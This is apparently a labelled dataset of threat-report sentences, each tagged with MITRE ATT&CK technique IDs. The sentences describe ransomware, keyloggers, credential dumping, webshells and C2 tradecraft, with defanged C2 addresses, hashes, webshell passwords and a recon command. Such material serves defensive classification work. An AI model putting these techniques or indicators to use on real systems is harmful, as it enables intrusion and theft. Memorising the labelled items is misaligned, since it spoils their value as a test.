This attacker utilized an additional keylogging utility named C:\ProgramData\psh\console.exe. The keylogging utility was configured to capture and record keystrokes to C:\ProgramData\psh\System32Log.txt.,T1056 | T1056.001 | T1074.001 | T1074
"We observed another campaign targeting an organisation located in Lebanon. While our first case describes a targeted campaign with the goal to exfiltrate data affecting internal servers, this one is the opposite: an auxiliary public web site compromised by several attackers for different purposes. We identified actors trying to deploy ransomware on the vulnerable server using China Chopper. The first attempt was Sodinokibi ransomware:",T1102 | T1584.006 | T1584.004
"Finally, the Phorpiex VNC worm executes several scripts on a victim’s machine by simulating keyboard input using VNC protocol. First it enters Win+R to open the “Run program” window. Then it “enters” the script contents by sending the corresponding VNC packets:",T1059 | T1021.005 | T1059.003
"The second functionality enabled in this sample that had not been observed in previous Thanos variants involved the ability to overwrite the master boot record (MBR). Once the code checks to see if the operating system version is not “Windows 10” or “Windows 8,” the code will attempt to open “\\.\PhysicalDrive0” and write a 512-byte string to offset 0. The byte array that is written to offset 0 of “\\.\PhysicalDrive0” initially has a ransom message of “Your files are encrypted. Contact us at: get-my-data@protonmail.com…”, but the code will replace this string with the following string before writing to disk:",T1485 | T1561.002 | T1082
"In several instances, UNC215 used the same exact file against multiple victims and frequently shared infrastructure across victims. This lack of compartmentalization is not uncommon, but does show that UNC215 is relatively less concerned about the ability for their compromises to be linked to each other. C2 servers used by UNC215 frequently reuse the same SSL certificate, as described in Team Cymru’s research in 2020. On one network, between April 2019 and April 2020, an operator repeatedly and infrequently revisited a compromised network whenever an Endpoint Detection and Response (EDR) tool detected or quarantined tools like HYPERBRO and Mimikatz. After several months of repeated detections, UNC215 deployed an updated version of HYPERBRO and a tool called “anti.exe” to stop Windows Update service and terminate EDR and Antivirus related services.",T1102 | T1518.001
"The embedded SWF decrypted contains ActionScript that attempts to exploit a vulnerability. The purpose of aforementioned version check is to make sure that the correct malicious ActionScript is executed to exploit a vulnerability that the Flash player is vulnerable to. Table 1 shows the range of Flash player versions within DealersChoice.A, the embedded SWF file loaded and the associated vulnerability exploited by the loaded SWF.",T1203 | T1068
"Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.",T1041 | T1486 | T1020
"In March 2017, Kasperksy released a report that compared DROPSHOT (which they call Stonedrill) with the most recent variant of SHAMOON (referred to as Shamoon 2.0). They stated that both wipers employ anti-emulation techniques and were used to target organizations in Saudi Arabia, but also mentioned several differences. For example, they stated DROPSHOT uses more advanced anti-emulation techniques, utilizes external scripts for self-deletion, and uses memory injection versus external drivers for deployment. Kaspersky also noted the difference in resource language sections: SHAMOON embeds Arabic-Yemen language resources while DROPSHOT embeds Farsi (Persian) language resources.",T1070.004 | T1587.001
"If an encrypted command arrives from the C&C, it is decrypted using RC4. The source domain name is used as the decryption key. Once the C&C command has been executed, a [Tasks] section will be created in config.ini; this is a logall actions performed by the bot.",T1140 | T1027 | T1573 | T1573.001
"To make sure the malware is executed after reboot, Ryuk uses a straight forward persistence technique, whereby it writes itself to the Run registry key using the following command:",T1547.001 | T1112 | T1547
"It also searches for directories with names “.Backup0D” – “.Backup0M”, and for each directory, removes contained files named “target.lnk” and “desktop.ini” and the directory itself. These directories are also created during the Gauss USB infection.",T1083
"""Gather all system information using the """"systeminfo"""" command and record to a file: cmd.exe /c systeminfo >>""""%s"""" where %s = <file_path>.""",T1082 | T1074.001 | T1074 | T1059.003 | T1059
"The remainder of this section focuses largely on Object Linking and Embedding (OLE) Microsoft Excel documents, as they are most commonly used by the Hangover group, at least when it comes to the BackConfig malware. Through infrastructure analysis however, Unit 42 was able to find a BackConfig PE sample (SHA256: e28f1bc0b0910757b25b2146ad02798ee6b206a5fe66ce68a28f4ab1538d6a1f; first seen 10/24/2019) using the C2 domain matissues[.]com and dropped by the weaponised Rich Text Format (RTF) file (SHA256: 752c173555edb49a2e1f18141859f22e39155f33f78ea70a3fbe9e2599af3d3f) from the same day. The RTF used the CVE-2017-11882 exploit against equation editor vulnerabilities in Office applications to execute the PE sample which was a unique exploitation method compared to all other samples analyzed.",T1203 | T1068
First technique: FIN6 used PowerShell to execute an encoded command. The command consisted of a byte array containing a base64 encoded payload shown in Figure 1.,T1059.001 | T1027 | T1140
"We first discussed ShaggyPanther, a previously unseen malware and intrusion set targeting Taiwan and Malaysia, in a private report in January 2018. Related activities date back to more than a decade ago, with similar code maintaining compilation timestamps from 2004. Since then, ShaggyPanther activity has been detected in several more locations: most recently in Indonesia in July, and – somewhat surprisingly – in Syria in March. The newer 2018 and 2019 backdoor code maintains a new layer of obfuscation and no longer maintains clear-text C2 strings. Since our original release, we have identified an initial server-side infection vector from this actor, using SinoChopper/ChinaChopper, a commonly used web shell shared by multiple Chinese-speaking actors. SinoChopper not only performs host identification and backdoor delivery but also email archive theft and additional activity. Although not all incidents can be traced back to server-side exploitation, we did detect a couple of cases and obtained information about their staged install process. In 2019, we observed ShaggyPanther targeting Windows servers.",T1027 | T1505.003 | T1048
"USB Worm -> this is the USBWorm component developed for stealing files from removable drives, spread across systems by infecting removable media, and download and execute the “Thin Client” component from a remote Crimson server.",T1091 | T1105 | T1025 | T1570 | T1005
8. Copy “winrestore.dll” to the directory set in step 6 or 7a with the filename “MSO1234.win” .,T1036 | T1036.005
"The cheat sheet is separated into several sections, based on the purpose of the example commands. Fortunately, the commands listed in the cheat sheet provides us with a great deal of insight into some of the tools and techniques the actors will possibly use after compromising the end system. The cheat sheet shows significant batch and PowerShell scripting and a preference for using RDP, as well as the following tools not provided natively in Windows (i.e. thc-hydra, Plink, Mimikatz, Powercat, ProcDump, SharpHound/BloodHound and PowerSploit). Table 1 shows the headers and a description of each section within the cheat sheet.",T1059.001 | T1059 | T1219 | T1021 | T1083 | T1057 | T1082 | T1003.001 | T1059.003
Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads included decoy documents that would open when the malware is executed.,T1105 | T1059 | T1041 | T1082
"In this blog we show that CVE-2017-0005, a Windows Local-Privilege-Escalation (LPE) vulnerability that was attributed to a Chinese APT, was replicated based on an Equation Group exploit for the same vulnerability that the APT was able to access. “EpMe”, the Equation Group exploit for CVE-2017-0005, is one of 4 different LPE exploits included in the DanderSpritz attack framework. EpMe dates back to at least 2013 – four years before APT31 was caught exploiting this vulnerability in the wild.",T1068 | T1587.004 | T1588.005
"This watchdog process also ensures that the Cardinal RAT process is always running, as well as ensures that the executable is located in the correct path. Should either of these conditions not be met, the watchdog process will spawn a new instance of Cardinal RAT, or write Cardinal RAT to the correct location, respectively.",T1057
"Zebrocy has continued adding new tools to its arsenal using various kinds of programming languages. We found Zebrocy deploying a compiled Python script, which we call PythocyDbg, within a Southeast Asian foreign affairs organization. This module primarily provides for the stealthy collection of network proxy and communications debug capabilities. In early 2019, Zebrocy shifted its development efforts with the use of Nimrod/Nim, a programming language with syntax resembling both Pascal and Python that can be compiled down to JavaScript or C targets. Both the Nim downloaders that the group mainly uses for spear phishing, and other Nim backdoor code, are currently being produced by Zebrocy and delivered alongside updated compiled AutoIT scripts, Go, and Delphi modules. In September, Zebrocy spear-phished multiple NATO and alliance partners throughout Europe, attempting to gain access to email communications, credentials and sensitive documents. This campaign is similar to past Zebrocy activity, with target-relevant content used within emails, and ZIP attachments containing harmless documents alongside executables with altered icons and identical filenames. The group also makes use of remote Word templates pulling contents from the legitimate Dropbox file-sharing site. In this campaign, Zebrocy targeted defense and diplomatic targets located throughout Europe and Asia with its Go backdoor and Nimcy variants.",T1566.001 | T1036 | T1119 | T1204 | T1587.001 | T1204.002 | T1598.002 | T1059.006 | T1027.009 | T1027.002 | T1059.007
"This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL, depending on the malware sample. Then the service is created for the service dll. Service names also can differ from version to version; we discovered the following names — DriverManage, WebService and WebClientManager. These functions assure malware persistence in a compromised OS between system reboots.",T1543.003 | T1543 | T1569.002 | T1036.005 | T1036.004
"While investigating a recent security incident, Unit 42 found a webshell that we believe was used by the threat actor to remotely access the network of a targeted Middle Eastern organization. The construction of the webshell was interesting by itself, as it was actually two separate webshells: an initial webshell that was responsible for saving and loading the second fully functional webshell. It is this second webshell that enabled the threat actor to run a variety of commands on the compromised server. Due to these two layers, we use the name TwoFace to track this webshell.",T1505.003
"Figure 6 shows our testing of the download command within RGDoor, specifically a command “download$c:\windows\temp\test.txt” that downloads the file uploaded in our previous test. We chose to use the key “89” (0x89) in this test to showcase RGDoor’s ability to use any hexadecimal byte as a key, which resulted in an encoded command string of “7eb+5+Xm6O2t6rPV/uDn7eb++tX97OT51f3s+v2n/fH9”. RGDoor responds to this command with the encoded string “/ez6/eDn7ri7uoM=”, which when decrypted with the “89” key results in the string ‘testing123\n’, which is the contents of the “test.txt” file.",T1105 | T1140 | T1132
"The second file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20160204.jpg. The C2 response is RC5 decrypted with the key “wsprintfA” and then XORed with 0x74, before it is saved as C:\Windows\System32\wcnapi.mui.",T1105 | T1027 | T1140 | T1573 | T1036 | T1036.005 | T1001
"One of the maldocs disclosed here was referred to by a Bit.ly-shortened URL (created Jan. 23, 2020) — hxxp://bit[.]ly/iaf-guidelines — which redirects to hxxp://tecbeck[.]com/IAP39031[.]docx. It is highly likely that the attackers hosted the maldocs on a public server and distributed the direct or Bit.ly links to the targets in the form of spear-phishing emails. This may be done to bypass detection systems that scan email attachments for malware.",T1598.003 | T1566.002
"The back door program used in the APT-C-06 organization's early APT operation was Lucker. It is a set of self-developed and customized modular Trojans. The set of Trojans is powerful, with keyboard recording, voice recording, screen capture, file capture and U disk operation functions, etc. The Lucker ‘s name comes from the PDB path of this type of Trojan, because most of the backdoor's function use the LK abbreviation. In the middle to late period we have discovered its evolution and two different types of backdoor programs. We have named them Retro and Collector by the PDB path extracted from the program. The Retro backdoor is an evolution of the Lucker backdoor and it actives in a series of attacks from 2016 till now. The name comes from the pdb path of this type of Trojan with the label Retro, and also has the word Retro in the initial installer.",T1113 | T1083 | T1005 | T1123
"Cisco Talos has observed a new malware campaign operated by the Kimsuky APT group since June 2021. Kimsuky, also known as Thallium and Black Banshee, is a North Korean state-sponsored advanced persistent threat (APT) group active since 2012. This campaign utilizes malicious blogs hosted on Blogspot to deliver three types of preliminary malicious content: beacons, file exfiltrators and implant deployment scripts. The implant deployment scripts, in turn, can infect the endpoint with additional implants such as system information-stealers, keyloggers and credential stealers. These implants are derivatives of the Gold Dragon/Brave Prince family of malware operated by Kimsuky since at least 2017 — now forked into three separate modules. This campaign targets South Korea-based think tanks whose research focuses on political, diplomatic and military topics pertaining to North Korea, China, Russia and the U.S.",T1082 | T1189
"This infection chain is based on a Windows shortcut file, with a misleading .docx.lnk double extension, and constitutes a more modular approach to PowerPepper delivery.",T1036 | T1204.002 | T1036.007
"But these are not the only differences between the two versions: while the Filesystem.dll module was dropped by all the known variants of gpUpdates.exe, it was not always used in the same manner.",T1036
"Vesta Control Panel command injection is one of the several newly included exploits. The version released on May 18 also included Python versions of EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0147) exploits with a Windows download command line as the payload. The addition of new exploits shows that the actor is actively developing new methods of spreading and following the latest vulnerabilities with published PoCs. In the newest instances discovered on May 22, the bot improved its ability to supply credentials for SMB but excluded it from the main exploit function. The usernames and passwords are now in a separate two arrays and extended to include many other usernames and passwords. The exploitation function of this sample does not contain EternalBlue and EternalRomance but attempts to connect over SMB (port 445) and create a service remotely to download and run the main bot file. This latest sample is a pyinstaller-generated sample but is PE file rather than ELF, which was seen previously.",T1068 | T1203 | T1210 | T1059 | T1021 | T1570 | T1021.002 | T1543.003
"During the C2 interactions, PyMICROPSIA downloads two additional samples that are dropped and executed on the victim’s system, running additional functionality. These payloads are not Python / PyInstaller based.",T1105
"There are multiple web inject files. One contains all of the target URL and hostname data, and the second contains regex patterns, as well as the code to inject. These files are both RC4-encrypted and compressed.",T1027
"The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is “Y:\ПРОБА\Создание троянов\создание RMS\vnc”. This isn’t the only place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as “Главное меню\Программы\Автозагрузка”. Many payloads also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, “Ошибка при инициализации приложения (0xc0000005). Повторить попытку открытия файла?” (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?).",T1059 | T1059.003
"After carrying out the activities for the command, the Trojan will encode the results or output message of the command using the ‘base64.b16encode’ method. Each command has an output message for both a successful and failed execution of the command with the exception of ‘empty’ and ‘terminate’. Table 2 below shows the success and failure messages associated with each command.",T1027
"Mandiant observed this attacker dump the LSASS process using Task Manager to a file named lsass.DMP, and later, zip the dump into two files named lsass.zip and lsass2.zip located in the C:\ProgramData\psh\ directory.",T1003.001 | T1560 | T1003 | T1074.001 | T1074 | T1560.001 | T1003.004
"This investigation illustrates an attacker using multiple tools and techniques to implement their full attack chain. A variety of infection artifacts are utilized ranging from bespoke tools (IndigoDrop) to customizable adversarial tools (Cobalt Strike beacons). The attackers also use a combination of public and private servers to host their malicious payloads with a growing trend towards the sole usage of public servers. The use of military-themed maldocs (lures) indicates that government and military organizations in South Asia may be the targets of this threat actor. The maldocs contain bonafide content and are most likely weaponized copies of benign documents known to peek the interests of their targets. The attack variants discovered over time show us that the threat actor can evolve their TTPs in a short period of time. The earliest observable campaigns of this actor date back to April 2018 and continue to operate today along with the most recent evolutions of the attacks. Evidence of rapid ideation, testing and production of new and diversified modules and IndigoDrop iterations indicates highly motivated and agile adversaries. The use of adversarial frameworks like Cobalt Strike suggests that the attackers are looking to expand their malicious arsenal at a significant rate with self-authored and customizable artifacts. Modern-day malware attack chains consist of multiple stages and operational entities. These artifacts and entities may be hosted locally or on remote servers. For example, this attack consists of multiple shellcodes hosted on remote locations downloaded by a local component (IndigoDrop) during runtime to instrument the attack chain. Thus, while network-based detection is important, it should be complemented with system behavior analysis and endpoint protections.",T1588.001 | T1036 | T1587.001
"Since PROPHET SPIDER gains access via web servers or other public-facing servers, they will often initially compromise a Linux-based system. Once initial access is obtained on a Linux system, PROPHET SPIDER typically deploys a webshell, reverse shell binary or a perl reverse shell script (commonly named bc.pl) as their initial persistence mechanism.",T1505.003 | T1059 | T1059.004 | T1190
"As this is a NULL-Deref vulnerability, we can immediately rule out CVE-2017-0005, as the stack trace shown in Microsoft’s blog has nothing to do with the NULL page. This means that this is possibly another vulnerability found and exploited by Equation Group in 2013. With that out of the way, it is time to understand what triggers this NULL-Deref vulnerability.",T1068 | T1587.004
"When Gauss infects an USB memory stick, it sets a certain flag to 30. This TTL (time to live) flag is decremented every time the payload is executed from the stick. Once it reaches 0, the data stealing payload cleans itself from the USB stick. This makes sure that sticks with Gauss infections do not survive ItW for long enough to results in detection.",T1091 | T1070.004 | T1052.001 | T1052
The ability to launch a .exe or .dll file in memory. The ability to leverage schtasks.exe to add or modify task schedules. The ability to launch custom PowerShell commands. The ability to leverage a standalone executable to load the DLL if the attacker otherwise has no way of doing so.,T1053.005 | T1053 | T1059.001
"Our Next-Generation Firewall caught the first incident of CVE-2020-8515 exploitation on March 31, 2020 at 13:51 (UTC). In addition to this attack, several bots’ attempt to propagate by exploiting CVE-2020-5722 were also caught by our firewall. In the case of CVE-2020-8515 exploitation, the threat actor attempted to download a shell script to the tmp directory, and execute the downloaded script, as shown in Figure 9. In the case of CVE-2020-5722 exploitation, the payload only downloads an arm7 binary and executes it, as shown in Figure 10.",T1068
"In addition, DoppelPaymer is designed to run only after a specific command line argument is provided. The malware computes a CRC32 checksum of the first argument passed on the command line and adds it with a constant value that is hard-coded in the binary. The malware then adds the instruction pointer address to this result, which becomes the destination for a jmp used to continue the malware execution. The hard-coded constant value is unique to each build. In the sampled analyzed, this value was 0x672e6eb7, as shown below in Figure 6.",T1480
"The cheat sheet includes examples of commands needed for persistence, network reconnaissance, pivoting, credential dumping, general system and network data gathering, as well as data exfiltration and commands to configure the system to allow remote desktop protocol (RDP) sessions. The commands provide insight into the techniques the actors will use after compromising a system, as well as the tools used to achieve their objectives. The commands also suggest that the threat group heavily relies on RDP to interact with compromised hosts, likely using secure shell (SSH) tunnels created with the Plink tool between the infected system and an actor-controlled domain. Also, the command examples show the threat group seeks to move across an infiltrated network to target additional devices, making it a greater threat to organizations once infected. According to these commands, the actor would likely make these pivots to other systems by performing credential dumping from the Windows registry and process memory.",T1105 | T1021.001 | T1570 | T1018 | T1021 | T1049 | T1041 | T1021.004 | T1016
"The DEWMODE web shell (Figure 4) extracts a list of available files from a MySQL database on the FTA and lists those files and corresponding metadata—file ID, path, filename, uploader, and recipient—on an HTML page. UNC2546 then uses the presented list to download files through the DEWMODE web shell. Download requests are captured in the FTA’s web logs, which will contain requests to the DEWMODE web shell with encrypted and encoded URL parameters, where dwn is the file path and fn is the requested file name (Figure 5). The encrypted file path and name values visible in web logs can be decrypted using key material obtained from the database used by the targeted FTA. Given the complex nature of this process, if your organization needs assistance reviewing relevant logs, please contact Mandiant or Accellion.",T1027 | T1505.003 | T1573 | T1005 | T1119 | T1074 | T1074.001
"Nemucod malware is mostly deployed using weaponized documents where the malicious VBA macro code is responsible for constructing and executing a malicious encoded JScript file that carries out further activities including registering victims with the actors before downloading payloads, which in this case included a credential stealing Trojan executable component.",T1027 | T1059 | T1204.002 | T1059.005 | T1059.007 | T1587.001
"The encrypted payload has a slightly lower entropy of 7.990713 out of 8. Looking at the embedded binary in a hex editor reveals multiple occurrences of the byte pattern 51 36 94 A4 26 5B 0F 19, as seen in Figure 4. As this pattern occurs multiple times in a row in the middle of the encrypted data and ECB mode is being used, an educated guess is that the plaintext is supposed to be 00 00 00 00 00 00 00 00.",T1027
"After the initial beacon, Gasket sends supplemental requests to a URL of /time/sync to obtain commands from the threat actor, which will look like the following:",T1071.001
"The TwoFace payload shell requires a password that is sent within HTTP POST data or within the HTTP Cookie, specifically with a field with a name “pwd”. The “pwd” field is used for authentication as a password, which the payload will generate the SHA1 hash and compare it with a hash that is hardcoded within the payload. We extracted the SHA1 hashes used for authentication from the known TwoFace shells, as seen in Table 4 and were able to find the associated password string for three of them. One of the passwords, “RamdanAlKarim12” contains a phrase that means “Ramadan the generous” in Arabic (رمضان الكريم). Another known password is “FreeMe!”, while the last known password contains what may be an acronym of a middle eastern energy organization followed by “pass”. It is possible that the actor chose this acronym based on the targeted organization, but we cannot confirm this.",T1071.001
"The attack itself is performed in an infinite loop. The IP addresses used for scanning are generated randomly using the rand() function and the GetTickCount() results as a random seed. The only filter rule for an IP address is that it cannot start with 127, 172 or 192. A separate thread is created to communicate with each IP address.",T1046 | T1106
"The ultimate purpose of the aforementioned components is to install and execute the Komplex payload. The dropper component saves the payload to “/Users/Shared/.local/kextd” (SHA256: 227b7fe495ad9951aebf0aae3c317c1ac526cdd255953f111341b0b11be3bbc5) and ultimately executes the payload. The payload begins by conducting an anti-debugging check to see if it is being debugged before proceeding with executing its main functionality, which can be seen in the “AmIBeingDebugged” function in Figure 6. The “AmIBeingDebugged” function uses the “sysctl” function to check to see if a specific “P_TRACED” flag is set, which signifies that the process is being debugged. A particularly interesting part of this function is that it is very similar to the function provided by Apple to its developers in a guide created in 2004 titled “Detecting the Debugger”. This is not the first time the Sofacy group’s malware authors have obtained techniques from publicly available sources, as demonstrated in the use of the Office Test Persistence Method that they obtained from a blog posted in 2014.",T1587.001 | T1622
The module sets a timer with a callback function to be executed every 900 seconds and starts a Windows message loop.,T1106
"In the initial versions of the earlier exploits, such as the exploit for CVE-2013-3660 and some versions of CVE-2015-0057, the exploit caused the kernel to execute a token-swapping shellcode stored in user-mode.",T1134 | T1134.002 | T1134.001
"During the course of our investigations, we noticed that the PowerPepper C2 name servers were actually open DNS resolvers that always resolved arbitrary hostnames with the same IP addresses: 128.49.4.4 (a US Navy-owned server), 91.214.6.100 and 91.214.6.101 (HSBC UK-owned servers). Using this fact and historical reverse DNS resolutions data, we have been able to preemptively identify the PowerPepper C2 domains.",T1583.002
"We uncovered two new espionage backdoors associated with Operation Earth Kitsune: agfSpy and dneSpy. This post provides details about these malware types, including the relationship between them and their command and control (C&C) servers .",T1588.001
"This new version was dubbed “GandCrab 2” by the infosec community. However, upon closer inspection of the ‘version’ string embedded into GandCrab’s C&C check-in, you can see that the gang uses their own nomenclature: the really early versions are 1.1, the later versions go up to 2.1, the first versions of GandCrab 2 were  1.0.0r and the latest version is kto_zaskrinit_tot_pidor (a colorful Russian snarl, aimed at the people who see the version string and reach for their PrintScreen key).",T1587.001
The most recent change to the argos-tracking.co[.]uk domain was on the 22nd February 2017 to suspend it. This example highlights the lengths the actors will go to in their reconnaissance of their victims in order to increase their changes of successful compromise.,T1583.001
"Unlike the common ransomware, systematically distributed via massive spam campaigns and exploit kits, Ryuk is used exclusively for tailored attacks. In fact, its encryption scheme is intentionally built for small-scale operations, such that only crucial assets and resources are infected in each targeted network with its infection and distribution carried out manually by the attackers.",T1587.001
"We were able to link most of the decoy contents back to the original contents published on the internet by their initial authors, meaning DeathStalker did not craft them, but instead picked out appropriate ready-made material that was available on the internet. One of the decoy components impersonated a legitimate travel agent but included altered contact details.",T1588.001 | T1587.001
"Remcos is a RAT that is offered for sale by a company called Breaking Security. While the company says it will only sell the software for legitimate uses as described in comments in response to the article here and will revoke the licenses for users not following their EULA, the sale of the RAT gives attackers everything they need to establish and run a potentially illegal botnet. Remcos has the functionalities that are typical of a RAT. It is capable of hiding in the system and using malware techniques that make it difficult for the typical user to detect the existence of Remcos. It is written in C++ and is relatively small for the rich functionality it contains. The Remcos payload included by the PowerShell loader is the latest version 2.5.0. Talos has created a decoder that allows simple extraction of Remcos configurations. Cisco Umbrella shows an increase in requests for the default C2 domain dfgdgertdvdf.xyz of the sample around the time we found the initial PowerShell loader. DNS activity for the default C2 domain of the Remcos payload.",T1059.001
"Interestingly, this IP address also had some associated domain names, as shown in the zoomed-in box as well, including letstrade-bit[.]com, lesbtc[.]com (and mail.lesbtc[.]com) and secure-trade24[.]com with the former two domains being registered December 20th and the latter on December 14th. All three domains mention trading or Bitcoins (BTC) but from the samples analysed, it is not clear how these subdomains are being used, however such terms are indicative of contemporary ransomware that requests ransom payments using BTC.",T1583.001
Another sample discovered in late August 2021 consisted of the C2 host URI xxx[.]xxxx[.]tk and the host header setting configured to point to test[.]softlemon[.]net.,T1071.001
Figure 3 Portion of malicious macro responsible for compiling and executing embedded source code .,T1027.004
"Malicious macros already embedded, ready to execute. Malicious macro downloaded as part of an externally linked template that is then injected into the original lure maldoc.",T1027.009
"Of interest is the script file docker.container.local.spread.txt, which lists the name of a local Docker image, as shown in Figure 8. The Docker image is a local Docker image, meaning it is not hosted and downloaded from an external docker repository such as Docker Hub. Researchers did search Docker Hub for the presence of this Docker image and none were found.",T1610
"In one part of guide.txt, an example target appears to be provided, with a corresponding adversary IP (185.162.235[.]106) for the legitimate domain to be redirected to. Analysis of this IP provides several interesting data points, including possible relationships to previously observed OilRig infrastructure. Examining the hosting provider shows that the IP is associated with an Iranian hosting provider called NovinVPS. The autonomous system name of the IP shows that the allocation is controlled by Serverius Holding B.V., which is an autonomous system name we have previously seen associated with the OilRig group. In fact, examining the Class C IP block of 185.162.235[.]0/24 shows at least two other IPs we have previously identified as in use by the OilRig group for C2 servers. 185.162.235[.]29 and 185.162.235[.]121 and their associated domains, office365-management[.]com and msoffice-cdn[.]com respectively. Office365-management[.]com was first identified in October 2017 as a C2 servers for OilRig operations delivering the ISMInjector backdoor. Later in February 2018 we were able to link the entire grouping of infrastructure to another campaign delivering the OopsIE backdoor via the reuse of WHOIS registrant artifacts, shared SSL certificates, and a shared Class C IP block. Figure 17 shows the relationship between the files related to DNS hijacking and known infrastructure associated with OilRig.",T1036.005
"Zebrocy activity is a known subset of Sofacy activity. We predicted that they would continue to innovate within their malware development after observing past behavior, developing with Delphi, AutoIT, .Net C#, Powershell, and now “Go” languages. Their continued targeting, phishing techniques, infrastructure setup, technique and malware innovation, and previously known backdoors help provide strong confidence that this activity continues to be Zebrocy.",T1587.001
"Gauss highly modular architecture reminds us of Duqu — it uses an encrypted registry setting to store information on which plugins to load; is designed to stay under the radar, avoid security and monitoring programs and performs highly detailed system monitoring functions. In addition, Gauss contains a 64-bit payload, together with Firefox-compatible browser plugins designed to steal and monitor data from the clients of several Lebanese banks: Bank of Beirut, EBLF, BlomBank, ByblosBank, FransaBank and Credit Libanais. In addition, it targets users of Citibank and PayPal.",T1082 | T1005 | T1033 | T1119 | T1027 | T1140 | T1176
Figure 18. VirtualAlloc() and byte-copying (call 100045c0) function.,T1106
"An actor successfully tested China Chopper on a second server and stopped the activity. However, we also found another Monero cryptocurrency miner just as we found commodity malware on other systems compromised with China Chopper. The actors first reset the Access Control List for the Windows temporary files folder and take ownership of the folder. They then allow the miner executable through the Windows Firewall and finally launch the mining payload.",T1496 | T1222.001
"Then, it reads user-related info from the file sqlxmlx.inc in the same folder (we can see strings referencing to “UserID” commentary in this part of the code). But this file was never created. As you recall, there is a function that should have collected this data and should have saved it into this sqlxmlx.inc file. However, on the first launch, the collected user information is saved into “xmlrwbin.inc”. This effectively means that the malware writer mistakenly coded the bot to save user information into the wrong file. There is a chance for the mistaken code to still work — user information could be copied into the send information heap. But not in this case – at the time of writing, the gathered user information variable which should point to the xmlrwbin.inc filename has not yet been initialized, causing the file write to fail. We see that sqlxmlx.inc is not created to store user information.",T1033 | T1119 | T1074 | T1074.001 | T1087
"The Gasket tool referenced a proxying and tunneling capability known as MagicSocks, which is based on the open-source Chisel project. The actors also created a standalone version of MagicSocks that they would use in addition to Gasket. The standalone MagicSocks tool comes as a dynamic link library (DLL), which the actor also wrote in Golang. The developer of MagicSocks uses code from the Chisel project to tunnel traffic from the local system to an external actor-controlled Chisel server. The tool will build the string R:0.0.0.0:50000:socks that it supplies to the Chisel client code that will generate the following JSON that the client uses as a configuration:",T1572 | T1095 | T1090 | T1090.002
"UNC215 made technical modifications to their tools to limit outbound network traffic and used other victim networks to proxy their C2 instructions, likely to minimize the risk of detection and blend in with normal network traffic. The following are examples of HYPERBRO and FOCUSFJORD samples capable of acting as proxies to relay communications to their C2 servers. We do not have enough context about the following samples to attribute all of them to UNC215, though they are representative of activity we have seen from the group.",T1090 | T1090.001 | T1090.002 | T1090.003
One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014.  The password (reused by many of the password protected SFX payloads) it used to extract itself is “1234567890__”. The files included in this SFX file we observed include a batch file named “123.cmd” and another SFX named “setting.exe”. This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the installation.,T1140 | T1027 | T1059 | T1059.003
The next program sent to victims enumerates all the drives on the infected system and executes the following command on them:,T1082 | T1083 | T1135 | T1105
"The BackConfig custom trojan has a flexible plug-in architecture for components offering various features, including the ability to gather system and keylog information and to upload and execute additional payloads.",T1105 | T1082 | T1119
"The very first stage of the implant’s code is a custom loader written by APT3, which extracts an encrypted version of DoublePulsar code from incoming SMB packets, and decrypts and executes it. This is in fact a self-modifying piece of code, i.e. before it actually handles any of the aforementioned functionalities, it must decrypt subsequent parts of itself. The code is wrapped in 2 layers using simple crypters, so the first crypter decodes the second, and the latter decodes the actual loader code.",T1140 | T1027 | T1105 | T1027.002 | T1620 | T1587.001
"After executing all the commands given by the server, the bot sends a new request to the server. This request contains a complete log of executed commands. If any of the commands require the bot to send data to the server (i.e., SONIA), they are sent in separate HTTP requests preceding the log request. These requests can also be redirected do a different C&C, if specified in the command parameters.",T1041 | T1071 | T1071.001 | T1008 | T1020 | T1119
"This Zip archive contained a file named [redacted]-ITsoftwareUpdate.exe (SHA256: 5f42deb792d8d6f347c58ddbf634a673b3e870ed9977fdd88760e38088cd7336), which is a variant of the OopsIE Trojan we described in detail in a blog we published in September 2018. This suggests that the server displayed in the VPS control panel may have indeed been in use by the OilRig threat actors at the time of attack. In addition, two of the other IPs listed in this panel, 185.161.209[.]57 and 185.161.210[.]25 are in the same 185.161.208[.]0/22 range as an IP associated with the DNSpionage campaign, 185.161.211[.]72. This is a tenuous relationship at best and does not indicate that the OilRig group is the one executing the DNSpionage campaign, but with the combination of the use of DeltaHost and IPs belonging to a fairly small range, there may be reason to believe that these are related to some extent.",T1140 | T1036
"“Microsoft Office Excel 2002 SP3, 2003 SP3, and 2007 SP1 and SP2; Office 2004 and 2008 for Mac; Open XML File Format Converter for Mac; Office Excel Viewer 2003 SP3; Office Excel Viewer SP1 and SP2; and Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2 allows remote attackers to execute arbitrary code via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset, aka “Excel Featheader Record Memory Corruption Vulnerability.”  .",T1203
Exploitation of CVE-2016-0167 a Microsoft Windows Privilege Escalation vulnerability to gain SYSTEM level privileges. Earlier versions of Shifu exploited CVE-2015-0003 to achieve the same goal. Use of a Windows atom to identify if the host is already infected with Shifu in addition to the mutex used by previous versions. Use of “push-calc-ret” API obfuscation to hide function calls from malware analysts. Use of alternative Namecoin .bit domains.,T1068 | T1106
"This artifact is interesting as the shellcode executed relies on Windows APIs and the payload installed is a Windows DLL that would not run on OSX. This flag does suggest that the threat actors do consider the OSX operating system when developing their malicious exploit code in cross platform file types, such as Flash SWF files. While we cannot confirm this, it is possible that the threat actors could use DealersChoice.A to exploit and load an OSX Trojan if prepared with the appropriate shellcode.",T1106
